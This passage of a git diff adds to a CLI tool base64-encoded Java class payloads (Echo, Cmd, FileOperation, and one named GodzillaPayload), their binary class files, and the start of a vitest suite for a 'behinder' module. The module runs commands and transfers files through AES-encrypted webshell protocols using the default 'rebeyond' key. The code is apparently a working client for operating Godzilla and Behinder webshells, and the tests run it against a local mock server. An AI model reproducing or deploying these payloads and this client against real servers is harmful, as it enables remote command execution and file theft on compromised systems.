+ "Awu2AHSwLLYDDToFLLYDEjoGuwCRWREEALcDFToHEQIJvAg6CAM2CRkFxgAdpwANGQcZCAMVCbYDFhkFGQi2AfxZNgmd/+wZBsYA" +
+ "HacADRkHGQgDFQm2AxYZBhkItgH8WTYJnf/sGQe2AKOwTSy2AGC2AHSwEwMXtgB0sAADABMApAEWAO4ApQCvARYA7gCwARUBFgDu" +
+ "AAIAJAAAAJYAJQAAAroACAK7ABMCvQAVAr8AHQLAACMCwQAoAsIALgLDAEoCxABPAsUAVgLCAGACyABpAskAbwLKAH0CyQCJAswA" +
+ "mwLNAJ4CzgClAtEAqQLSALAC1QC2AtYAvALYAMgC2gDPAtsA0gLdANcC3gDaAt8A5ALeAPEC4wD2AuQA+QLlAQMC5AEQAukBFgLq" +
+ "ARcC6wEfAu4AJQAAAJgADwAAASYALgAvAAAACAEeAxkAqQABABUBAQMaAxsAAgAdAPkDHAMdAAMAIwDzAuUA/AAEACsANQHgAPwA" +
+ "BQBKAAwDHgCpAAYAaQAyAx8DBAAFAGwAHQHgAPwABgC2AGAA9wIMAAUAvABaAyACDAAGAMgATgMhABEABwDPAEcDIgAPAAgA0gBE" +
+ "Ag0A/AAJARcACACvAWEAAgABAyMAPQABACEAAASzAAYABgAAA0e4AyS2AyhMuwB1WbcBbU27AW5ZLLgBircBjhMDLrYBfiq2AzC2" +
+ "AX4TAY+2AX62AYFNuwFuWSy4AYq3AY4TAzK2AX67AXFZEwG9twFztgF0tgF4EwF8tgF+EwGPtgF+tgGBTbsBblksuAGKtwGOEwM0" +
+ "tgF+EwM2uAM4tgF+EwGPtgF+tgGBTbsBblksuAGKtwGOEwM7tgF+EwM9uAM4tgF+EwGPtgF+tgGBTRMDP7gDOE4tLbYBzgRktgNB" +
+ "NgQVBBBcnwAfFQQQL58AGLsBblktuAGKtwGOsgNFtgF+tgGBTrsBblksuAGKtwGOEwNItgF+LbYBfhMBj7YBfrYBgU2nAAROuwFu" +
+ "WSy4AYq3AY4TA0q2AX4qtgNMtgF+EwGPtgF+tgGBTbsBblksuAGKtwGOEwNPtgF+KrYDUbYBfhMBj7YBfrYBgU27AW5ZLLgBircB" +
+ "jhMDVLYBfiq0AL7HAAkTA1anACC7AW5ZKrQAvrYDWLgDW7gBircBjhMBj7YBfrYBgbYBfrYBgU27AW5ZLLgBircBjhMDXbYBfiq0" +
+ "AMHHAAkTA1anACC7AW5ZKrQAwbYDWLgDW7gBircBjhMBj7YBfrYBgbYBfrYBgU27AW5ZLLgBircBjhMDX7YBfiq0AMTHAAkTA1an" +
+ "ACC7AW5ZKrQAxLYDWLgDW7gBircBjhMBj7YBfrYBgbYBfrYBgU27AW5ZLLgBircBjhMDYbYBfhMDYwa9AEdZAxMDZbgDOFNZBBMD" +
+ "Z7gDOFNZBRMDabgDOFO4ATW2AX4TAY+2AX62AYFNpwAmTrsBblksuAGKtwGOEwNhtgF+LbYAYLYBfhMBj7YBfrYBgU27AW5ZLLgB" +
+ "ircBjhMDa7YBfrgDbbYBfhMBj7YBfrYBgU2nAD8ruQNwAQBOLcEAdZkAMS3AAHU6BLsBblksuAGKtwGOGQS2AX4TA3W2AX4ZBLgD" +
+ "OLYBfhMBj7YBfrYBgU0ruQN3AQCa/74qtgN6Ti3GAFQtuQN+AQC5A4QBADoEpwA6GQS5A4oBAMAAdToFuwFuWSy4AYq3AY4ZBbYB" +
+ "fhMDdbYBfi0ZBbkDjwIAtgF4EwGPtgF+tgGBTRkEuQOQAQCa/8IstgB0sEwrtgBgtgB0sAADAKoA/wECAO4CDQJQAlMA7gAAAz0D" +
+ "PgDuAAIAJAAAAMIAMAAAAvQABwL1AA8C9gAxAvcAYgL4AIYC+QCqAvsAsQL8AL0C/QDLAv4A4AMAAP8DAQEDAwQBJQMFAUcDBgFY" +
+ "AwcBhQMGAYkDCAGaAwkBxwMIAcsDCgHcAwsCCQMKAg0DDQIhAw4COQMPAkADDQJGAxACTAMNAlADEQJUAxICdgMUApcDFQKaAxYC" +
+ "oQMXAqgDGAKuAxkC1gMVAt8DHALkAx0C6AMeAvUDHwL4AyADBAMhAy8DHwM5AyQDPgMlAz8DJwAlAAAAegAMAAADRwAuAC8AAAAH" +
+ "AzcDLAOTAAEADwMvA5QAqQACALEATgOVAKkAAwC9AEIDlgOXAAQCVAAiAK8BYQADAqEANQCtAAsAAwKuACgA9ACpAAQC5ABaA5gD" +
+ "mQADAvUARAOIA5oABAMEACsA9ACpAAUDPwAIAK8BYQABAAEDmwA9AAEAIQAAAOQABQAFAAAAULsDnFm3A55MK7sDn1m4A6G2A6e0" +
+ "A6u4A6G2A6e0A7C3A7O2A7ZNuwCRWbcAk04sEwO6LbgDvLgDwlcttgCjOgQttgDrGQSwTCu2AGC2AHSwAAEAAABGAEcA7gACACQA" +
+ "AAA2AA0AAAMtAAgDLgAJAy8AFgMwAB8DLwAiAy4AJgMxAC4DMgA6AzMAQAM0AEQDNQBHAzYASAM3ACUAAAA+AAYAAABQAC4ALwAA" +
+ "AAgAPwPFA8YAAQAmACEDxwPIAAIALgAZA8kAEQADAEAABwD2AA8ABABIAAgArwFhAAEAAQPKAD0AAgPLAAAABAABAO4AIQAABiUA" +
+ "CQARAAADZyoTA8y2AEBMKhMDzrYAQE0qEwPQtgBATioTA9K2AEA6BCoTA9S2AEA6BSoTA9a2AEA6BioTA9i2AEA6B7sAdVkqEwPa" +
+ "tgKlK7cD2zoILMYDEi3GAw4ZBMYDCRkFxgMEGQbGAv8ZB8YC+hkIxgL1EwPeuABaV6cABToJEwPguABaV6cAEToJEwPiuABaV6cA" +
+ "BToKEwPkuABaV6cAEToJEwPmuABaV6cABToKEwPouABaV6cABToJEwPquABaV6cABToJAToJEwPsLLYCG5kAMLsBblkTA+63AY4t" +
+ "tgF+EwPwtgF+GQS2AX4TAXy2AX4TA/K2AX62AYE6CacAsxMD9Cy2AhuZACq7AW5ZEwP2twGOLbYBfhMD8LYBfhkEtgF+EwP4tgF+" +
+ "tgGBOgmnAIITA/ostgIbmQAquwFuWRMD/LcBji22AX4TA/C2AX4ZBLYBfhMB6LYBfrYBgToJpwBREwP+LLYCG5kAKrsBblkTBAC3" +
+ "AY4ttgF+EwPwtgF+GQS2AX4TAXy2AX62AYE6CacAIBMEAiy2AhuZABa7AW5ZEwQEtwGOLbYBfrYBgToJLRMEBrYCIwKfAAYtOgkZ" +
+ "CcYBfgE6ChkJGQUZBrgECDoKpwAFOgsZCscADhkJGQUZBrgEDDoKGQq5BA8BADoLGQcTBBW2AhuZAQcTBBc6DBkLGQi5BBkCADoN" +
+ "GQ25BB8BADoOGQ65BCUBADYPAzYQpwA8uwFuWRkMuAGKtwGOKhMEKgS9AEdZAxkOFRAEYLkELAIAU7gBNbYEL7YBfhMBlLYBfrYB" +
+ "gToMhBABFRAVD6H/w7sBblkZDLgBircBjhMBj7YBfrYBgToMpwBgAzYQpwA8uwFuWRkMuAGKtwGOKhMEKgS9AEdZAxkNFRAEYLkE" +
+ "MgIAU7gBNbYEL7YBfhMBlLYBfrYBgToMhBABFRAVD6H/w7sBblkZDLgBircBjhMBj7YBfrYBgToMGQ25BDUBAJr/nBkNuQQ3AQAZ" +
+ "C7kEOAEAGQq5BDkBABkMtgB0sBkLGQi5BDoCADYMGQu5BDgBABkKuQQ5AQC7AW5ZEwQ9twGOFQy2BD8TBEK2AX62AYG2AHSwOgoZ" +
+ "CrYAYLYAdLC7AW5ZEwREtwGOLLYBfhMERrYBfrYBgbYAdLA6CRkJtgBgtgB0sBMESLYAdLAADgBuAHUAeADuAHoAgQCEAO4AhgCN" +
+ "AJAA7gCSAJkAnADuAJ4ApQCoAO4AqgCxALQA7gC2AL0AwADuAcIBzQHQAO4BvwL5Ay8A7gL6Ay4DLwDuAG4C+QNVAO4C+gMuA1UA" +
+ "7gMvAzkDVQDuAzoDVANVAO4AAgAkAAABTgBTAAADPAAIAz0AEAM+ABgDPwAhA0AAKgNBADMDQgA8A0MATQNEAGQDRQBuA0gAdQNJ" +
+ "AHoDTQCBA04AhgNQAI0DUQCSA1YAmQNXAJ4DWQClA1oAqgNfALEDYAC2A2QAvQNlAMIDaQDFA2sAzwNsAO4DbQD0A2wA+QNuAQYD" +
+ "bwEqA3ABNwNxAVsDcgFoA3MBjAN0AZkDdQGsA3gBtwN5AboDfAG/A34BwgOAAc0DgQHSA4QB1wOFAeIDhwHrA4gB9gOJAfsDigIG" +
+ "A4sCDwOMAhgDjQIeA44CKwOPAkMDjgJJA48CTwOOAlQDjQJeA5ICdQOTAngDlAJ+A5UCiwOWAqMDlQKpA5YCrwOVArQDlAK+A5kC" +
+ "1QOTAt8DmwLmA5wC7QOdAvQDngL6A6EDBQOiAwwDowMTA6QDLwOmAzEDpwM6A6sDVQOtA1cDrgNgA7EAJQAAAOgAFwAAA2cALgAv" +
+ "AAAACANfBEoAqQABABADVwPPAKkAAgAYA08D0QCpAAMAIQNGA9MAqQAEACoDPQPVAKkABQAzAzQD1wCpAAYAPAMrA9kAqQAHAE0D" +
+ "GgPKAKkACACGAAwArwFhAAkAngAMAK8BYQAJAMUCkARLAKkACQHCAW0ETARNAAoB6wFEBE4ETwALAfsA/wD2AKkADAIGAPQEUARR" +
+ "AA0CDwDrBFIEUwAOAhgA4gRUAPwADwIbAEMB4AD8ABACewBDAeAA/AAQAwUAKgRVAPwADAMxAAkArwFhAAoDVwAJAK8BYQAJAAEA" +
+ "ogA9AAEAIQAAAHEABQACAAAAJSq0AMTGABEqKrQAxBMEVgEBtgEhVxMBZbYAdLBMK7YAYLYAdLAAAQAAABsAHADuAAIAJAAAABYA" +
+ "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" +
+ "UwVPAPwACgBXAJwFUAD8AAsAWwCCBVEA/AAMAF8AfgVSAPwADQCNAEkFUwD8AA4A6AALBVQA/AAMAQ0AhQVVAPwACwFbADcFVgD8" +
+ "AAwACQVXAWMAAQAhAAADCAAGAAwAAAGYKrYBzpoABwO8CLAqtgB0TAM9K74+AzYEHRxkNgUrHQRkMxA9oAAThAQBKx0FZDMQPaAA" +
+ "BoQEARUEmgASFQUGfpkACwcVBQZ+ZDYEBhUFBmAHbGgVBGS8CDoGEQEAvAo6BxkHArgFWAM2CKcAERkHsgAiFQg0FQhPhAgBFQiy" +
+ "ACK+of/sGQcQPRD+TwM2CAM2CRASNgqnAIorHIQCATMRAP9+NgsZBxULLlk2C5wAMxULEP6gACwVChAGoAATHB2fABUrHIQCATMQ" +
+ "PaAAChUKEBKgAFO7BVtZEwVdtwVfvxUJFQsVCniANgmECvoVCpwAMRkGFQiECAEVCRAQepFUGQYVCIQIARUJEAh6kVQZBhUIhAgB" +
+ "FQmRVBASNgoDNgkcHaH/dxUKEAagABQZBhUIhAgBFQkQEHqRVKcAORUKmgAiGQYVCIQIARUJEBB6kVQZBhUIhAgBFQkQCHqRVKcA" +
+ "FRUKEAygAA67BVtZEwVgtwVfvxUIGQa+nwAeFQi8CDoLGQYDGQsDGQa+FQi4BIy4ApQZCzoGGQawAAAAAgAkAAAAygAyAAAFPQAH" +
+ "BT4ACwVAABAFQQASBUIAFQVDABgFRAAdBUUAJwVGACoFRwA0BUgANwVLAEMFTABLBU4AWgVPAGEFUABnBVEAbQVSAHgFUQCEBVQA" +
+ "iwVVAI4FVgCRBVcAlQVYAJgFWQCkBVoArwVbALYFXADUBV0A3wViAOkFYwDsBWQA8QVlAP8FZgENBWcBGAVoARwFaQEfBVgBJAVt" +
+ "ASsFbgE5BW8BQQVwAU8FcQFdBXIBZwV0AXIFdgF6BXcBgAV4AZEFeQGVBXsAJQAAAI4ADgAAAZgFYgCpAAAAEAGIBUUADwABABIB" +
+ "hgVMAPwAAgAVAYMFTgD8AAMAGAGABWMA/AAEAB0BewD7APwABQBaAT4FSAAPAAYAYQE3BUsFZAAHAGoAGgHgAPwACACOAQoFTwD8" +
+ "AAgAkQEHBVMA/AAJAJUBAwVlAPwACgCkAHsAOwD8AAsBgAAVBJQADwALAAEFZgAAAAIFZw==";
+
+export const ECHO_CLASS_BYTES = Buffer.from(ECHO_CLASS_B64, 'base64');
+export const CMD_CLASS_BYTES = Buffer.from(CMD_CLASS_B64, 'base64');
+export const FILE_OPERATION_CLASS_BYTES = Buffer.from(FILE_OPERATION_CLASS_B64, 'base64');
+export const GODZILLA_PAYLOAD_BYTES = Buffer.from(GODZILLA_PAYLOAD_B64, 'base64');
diff --git a/tools/cli/src/connect/assets/Cmd.class b/tools/cli/src/connect/assets/Cmd.class
new file mode 100644
index 00000000..1ea3c07f
Binary files /dev/null and b/tools/cli/src/connect/assets/Cmd.class differ
diff --git a/tools/cli/src/connect/assets/Echo.class b/tools/cli/src/connect/assets/Echo.class
new file mode 100644
index 00000000..d754a088
Binary files /dev/null and b/tools/cli/src/connect/assets/Echo.class differ
diff --git a/tools/cli/src/connect/assets/FileOperation.class b/tools/cli/src/connect/assets/FileOperation.class
new file mode 100644
index 00000000..a0dccd9c
Binary files /dev/null and b/tools/cli/src/connect/assets/FileOperation.class differ
diff --git a/tools/cli/src/connect/assets/GodzillaPayload.class b/tools/cli/src/connect/assets/GodzillaPayload.class
new file mode 100644
index 00000000..c9120be0
Binary files /dev/null and b/tools/cli/src/connect/assets/GodzillaPayload.class differ
diff --git a/tools/cli/src/connect/behinder.test.ts b/tools/cli/src/connect/behinder.test.ts
new file mode 100644
index 00000000..29887b7b
--- /dev/null
+++ b/tools/cli/src/connect/behinder.test.ts
@@ -0,0 +1,538 @@
+import { createServer, type Server } from "node:http";
+import type { AddressInfo } from "node:net";
+
+import { afterAll, beforeAll, describe, expect, it } from "vitest";
+
+import {
+ downloadBehinder,
+ execBehinder,
+ testBehinder,
+ uploadBehinder,
+} from "./behinder.js";
+import { readStringConstant } from "./classfile.js";
+import { aesEcbDecrypt, aesEcbEncrypt, md5Hex, md5Key16 } from "./crypto.js";
+
+const GATE = "bh-gate-value";
+const KEY = md5Key16("rebeyond"); // e45e329feb5d925b
+
+/** In-memory remote FS + failure injection for the FileOperation payload. */
+interface BhMockState {
+ files: Map;
+ failNextAppends: number;
+ failNextReads: number;
+ corruptCheck: boolean;
+ /** Number of mode=check calls seen (must stay 0 for big-file transfers). */
+ checkCalls: number;
+ /** When set, checkExist lies about the remote size. */
+ fakeSize?: number;
+}
+
+function newBhMockState(): BhMockState {
+ return {
+ files: new Map(),
+ failNextAppends: 0,
+ failNextReads: 0,
+ corruptCheck: false,
+ checkCalls: 0,
+ };
+}
+
+function echoReply(classBytes: Buffer, rawWithMagic: boolean): Buffer {
+ const content = readStringConstant(classBytes, "content") ?? "";
+ const json = JSON.stringify({
+ status: Buffer.from("success").toString("base64"),
+ msg: Buffer.from(content).toString("base64"),
+ });
+ const encrypted = aesEcbEncrypt(Buffer.from(json, "utf8"), KEY);
+ if (rawWithMagic) {
+ const magic = parseInt(KEY.slice(0, 2), 16) % 16;
+ return Buffer.concat([encrypted, Buffer.alloc(magic, 0x55)]);
+ }
+ return Buffer.from(encrypted.toString("base64"));
+}
+
+/** Emulate the Cmd payload: run status/msg envelope for the injected `cmd`. */
+function cmdReply(classBytes: Buffer): Buffer {
+ const cmd = readStringConstant(classBytes, "cmd") ?? "";
+ const status = cmd === "please-fail" ? "fail" : "success";
+ const msg = cmd === "please-fail" ? "boom" : `MOCK-EXEC:${cmd}`;
+ const json = JSON.stringify({
+ status: Buffer.from(status).toString("base64"),
+ msg: Buffer.from(msg).toString("base64"),
+ });
